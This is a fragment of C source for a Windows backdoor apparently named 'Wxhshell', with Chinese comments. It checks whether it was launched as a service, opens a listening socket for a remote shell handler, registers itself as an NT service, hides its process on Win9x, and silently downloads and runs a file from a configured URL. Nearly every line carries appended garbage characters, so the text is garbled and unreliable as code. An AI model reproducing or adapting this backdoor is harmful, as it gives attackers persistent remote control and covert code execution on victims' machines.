DWORD BasePriority; Q\^BOdX^`
ULONG UniqueProcessId; tnXW7ej ^
ULONG InheritedFromUniqueProcessId; tuo'Uk)
} PROCESS_BASIC_INFORMATION; :K \IS `
\u/=?b
PROCNTQSIP NtQueryInformationProcess; N>j*{]OY+{
<qoPBm])
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {Z$]Rj
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Tz(Dhb,
lP(<4mdP
HANDLE hProcess; grd
fR`3
PROCESS_BASIC_INFORMATION pbi; #b&=CsW`
aXbj pb+
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hg^klQD
if(NULL == hInst ) return 0; .?F`H[^)^u
7pH[_]1"
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A~a7/N6s;
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VM3)L>x]/
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *:chN' <
>LU !Z
if (!NtQueryInformationProcess) return 0; Nc(A5*
+jGUp\h%9;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Vx n-
if(!hProcess) return 0; 1ww~!R
&9n=!S'Md
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "W}+~Sn
yAJrdY"
CloseHandle(hProcess); FxX nX
]`@<I'?,X
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ehX4[j6
if(hProcess==NULL) return 0; KXo[;Db)k
{*Qx^e`h$.
HMODULE hMod; `LWb L*;Y0
char procName[255]; %C >Win)g
unsigned long cbNeeded; PiX(Ase
|P"kJ45
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AIwp2Fz
VB+y9$Y'
CloseHandle(hProcess); 1i|5ii*vc
U&gl$/4U@
if(strstr(procName,"services")) return 1; // 以服务启动 a3_pF~Qx
{'zs4)vw
return 0; // 注册表启动 pmDFmES
} oPA m*
s.!gsCQme
// 主模块 VC NQ}h[D
int StartWxhshell(LPSTR lpCmdLine) 3_Re>i
{ lHgmljn5u
SOCKET wsl; L3C'q
BOOL val=TRUE; sGJZG
int port=0; )9rJ]D^B
struct sockaddr_in door; DM !B@
Y#Pg*C8>8
if(wscfg.ws_autoins) Install(); W'C~{}c=
?CuwA-j
port=atoi(lpCmdLine); OxVe}Fym
>uz3 O?z P
if(port<=0) port=wscfg.ws_port; X
gA(
D
K~\Ocl
WSADATA data; i"y @Aj!7
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :AC( \
cfW;gFf
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; k`,>52
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); flU?6\_UC
door.sin_family = AF_INET; wb-_CQ
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Cy\! H&0wg
door.sin_port = htons(port); &o)eRcwH`
WS ^%<
h#
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ohB@ij C!
closesocket(wsl); ncij)7c)u
return 1; p w`YMk
} * @'N/W/8
wEb10t,
if(listen(wsl,2) == INVALID_SOCKET) { >VvA&p71b
closesocket(wsl); ,fD#)_\g2
return 1; <#:ey^q<
} MvlqxJ$
Wxhshell(wsl); oei2$uu
WSACleanup(); $+[
v17lF
8Nf%<nUv
return 0; /:aY)0F0<&
YZ^;xV
} HY7#z2L
b(:U]>J
// 以NT服务方式启动 WQYw@M~4Q!
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fnU;DS]W
{ #uH%J<U
DWORD status = 0; (wZ/I(4
DWORD specificError = 0xfffffff; S8)6@ECC
Jm*wlN
[>
serviceStatus.dwServiceType = SERVICE_WIN32; rTtxmw0
serviceStatus.dwCurrentState = SERVICE_START_PENDING; B["C~aF
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2G BE=T
serviceStatus.dwWin32ExitCode = 0; .OSFLY#[?
serviceStatus.dwServiceSpecificExitCode = 0; IX 2 dic'
serviceStatus.dwCheckPoint = 0; =$Sd2UD
serviceStatus.dwWaitHint = 0; Q)\4 .d
6^"Spf]
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `-82u :"
if (hServiceStatusHandle==0) return; J0x)NnWJ
Meo.
V|1
status = GetLastError(); /~;om\7r
if (status!=NO_ERROR) D1f}g
{ <Is~DjIav
serviceStatus.dwCurrentState = SERVICE_STOPPED; (<xl _L:*.
serviceStatus.dwCheckPoint = 0; mvt%3zCB!
serviceStatus.dwWaitHint = 0; 7y'2
serviceStatus.dwWin32ExitCode = status; aqN6.t
serviceStatus.dwServiceSpecificExitCode = specificError; c R6:AGr
SetServiceStatus(hServiceStatusHandle, &serviceStatus); AqucP@
return; F>s5<pKAX
} Fhk`qh'i
,LVZ
serviceStatus.dwCurrentState = SERVICE_RUNNING; #>dj!33
serviceStatus.dwCheckPoint = 0; FkY <I]F
serviceStatus.dwWaitHint = 0; ^ah9:}Ll
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xh9Os <
} q!\4|KF~
[^2c9K^NK
// 处理NT服务事件,比如:启动、停止 0hM!#BU5K
VOID WINAPI NTServiceHandler(DWORD fdwControl) R>n=_C
{ ($r-&]y
switch(fdwControl) QNm8`1
{ j)b[7%
case SERVICE_CONTROL_STOP: gano>W0
serviceStatus.dwWin32ExitCode = 0; d\v1R-V
serviceStatus.dwCurrentState = SERVICE_STOPPED; |WDMyKf6J
serviceStatus.dwCheckPoint = 0; D
$3Mg
serviceStatus.dwWaitHint = 0; 6$A>%Jtwe
{ "TP^:Ln
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6_kv~`"t Z
} nb}rfd.
return; -|_MC^)
case SERVICE_CONTROL_PAUSE: {>n\B~*,"C
serviceStatus.dwCurrentState = SERVICE_PAUSED; %,Lv},%Y
break; M#;"7Qg
case SERVICE_CONTROL_CONTINUE: `D={l29H
serviceStatus.dwCurrentState = SERVICE_RUNNING; b,uudtlH
break; EN;s
8sC!
case SERVICE_CONTROL_INTERROGATE: ~"nF$DB
break; 6-J%Z%yT #
}; 6g&Ev'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); u@pimRVo
} g}n-H4LI
db`L0JB
// 标准应用程序主函数 XsbYWJdds
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r6gfxW5
{ &ws^Dm]R
25{-GaB
// 获取操作系统版本 YML]pNB
OsIsNt=GetOsVer(); bfXyuv
GetModuleFileName(NULL,ExeFile,MAX_PATH); L(+I
U;#9^<^
// 从命令行安装 ,u_ Z0S M
if(strpbrk(lpCmdLine,"iI")) Install(); u.dYDi
2R];Pv
// 下载执行文件 8(ej]9RObU
if(wscfg.ws_downexe) { lgQ"K(zY
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !!?TkVyEyM
WinExec(wscfg.ws_filenam,SW_HIDE); ~EtwX YkRZ
} x>$e*
TP{2q51yM
if(!OsIsNt) { B"?ivxM:U
// 如果时win9x,隐藏进程并且设置为注册表启动 #.j}:
HideProc(); T: I34E[
StartWxhshell(lpCmdLine); 7m:ZG
} (NC]S
else E.eUd4XG
if(StartFromService()) _9:r4|S
// 以服务方式启动 2mEvoWnJ
StartServiceCtrlDispatcher(DispatchTable); d J>~
else cp$GP*{@
// 普通方式启动 "Tz'j}< 9C
StartWxhshell(lpCmdLine); /odDJxJ
k
.bY
R
return 0; `IV7\}I|
}